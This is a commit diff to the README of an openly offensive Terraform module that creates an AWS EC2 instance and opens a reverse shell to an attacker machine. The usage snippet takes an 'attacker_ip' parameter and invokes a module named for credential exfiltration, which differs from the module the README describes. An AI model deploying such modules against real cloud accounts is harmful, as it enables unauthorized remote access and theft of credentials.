Update README

Author: iganbold

README.md

@@ -1 +1,20 @@
-# terraform-aws-ec2-instance-reverse-shell
+# AWS EC2 Instance Reverse Shell Module
+
+![OffensiveTerraform](https://img.shields.io/badge/hack-success)
+![OffensiveTerraform](https://img.shields.io/badge/offensive-terraform-blueviolet)
+
+Offensive Terraform module which creates EC2 instance and reverse shell from an EC2 instance to attacker machine.
+
+![Attack Diagram](https://raw.githubusercontent.com/offensive-terraform/terraform-aws-ec2-instance-reverse-shell/master/diagram.jpg)
+
+## Usage
+```
+module "ec2_instance_credential_exfiltration" {
+    source  = "offensive-terraform/ec2-instance-credential-exfiltration/aws"
+
+    subnet_id = "subnet-0a4a1cc04"
+    attacker_ip = "0.0.0.0"
+}
+```
+## Author
+Module managed by https://github.com/iganbold